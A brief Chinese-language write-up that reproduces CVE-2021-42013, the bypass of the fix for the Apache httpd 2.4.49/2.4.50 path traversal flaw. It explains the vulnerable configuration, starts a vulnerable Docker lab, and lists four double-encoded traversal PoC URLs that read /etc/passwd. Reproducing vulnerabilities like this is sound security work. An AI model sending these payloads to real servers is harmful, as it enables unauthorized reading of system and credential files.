前几天Apache Http服务器爆出了任意文件读取漏洞(CVE-2021-41773),虽然漏洞影响有限,但还是掀起了安全圈的一阵热潮。 昨天夜里,出现了针对这个漏洞补丁的绕过,CVE编号CVE-2021-42013,本文对此绕过方式进行复现。
= 2.4.49 / 2.4.50
与CVE-2021-41773类似,此漏洞由不安全的配置触发,即,如果网站配置中,将 根目录 / 配置为
Require all granted
则可以通过cgi-bin/目录,配合 ../ 进行目录穿越,从而造成任意文件读取
P.S. 此漏洞是针对补丁的绕过,原理和CVE-2021-41773一致
- 启动有漏洞的 apache httpd 环境
docker pull vultarget/apache_httpd_readfile-cve_2021_42013:2.4.50
docker run -it -p 9999:80 --rm vultarget/apache_httpd_readfile-cve_2021_42013:2.4.50
- Poc
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd